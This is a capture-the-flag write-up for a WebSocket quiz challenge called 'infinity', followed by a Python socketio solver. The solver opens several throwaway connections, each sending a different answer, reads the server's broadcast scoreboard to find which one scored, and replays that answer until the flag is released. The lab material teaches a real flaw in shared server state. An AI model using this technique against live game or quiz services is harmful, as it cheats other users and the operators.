infinity (∞)

Setup

docker-compose up

Solution

scoreboard variable in server/app.ts is the following object such as:

scoreboard = {
  'sid1': 0,
  'sid2': 2,
  'sid3': 1,
}

Use the following behavior to get the correct answer:

scoreboard is shared by all connections on the server side. Therefore, we can see other players' scores.
When the client emits the answer, the server side judges success or failure. If the answer sent by the client is correct, scoreboard[socket.id] += 1 in the server side.
When the client connects (WebSocket connect), the server sends GameState containing the scoreboard

And if we send the correct answer 21 times, the server will emit the flag. Therefore we can get the flag.

solver.py

import socketio


SOCKET_URL = "http://localhost:1024"

sio_org = socketio.Client()


@sio_org.event
def connect():
    print("connection established")


@sio_org.event
def gameState(data):
    if "correctAnswer" in data.keys():
        return

    connected_sids = []
    for i in range(4):
        sio = socketio.SimpleClient()
        sio.connect(SOCKET_URL)
        sio.emit("answer", i)
        connected_sids.append(sio.sid)

    sio_for_answer = socketio.SimpleClient()
    sio_for_answer.connect(SOCKET_URL)
    event = sio_for_answer.receive()

    scoreboard = event[1]["scoreboard"]

    correct_answer_sid = [
        k for k, v in scoreboard.items() if k in connected_sids and v == 1
    ][0]
    correct_answer = connected_sids.index(correct_answer_sid)
    print(f"{correct_answer=}")
    sio_org.emit("answer", correct_answer)


@sio_org.event
def flag(data):
    print(data)


sio_org.connect(SOCKET_URL)
sio_org.wait()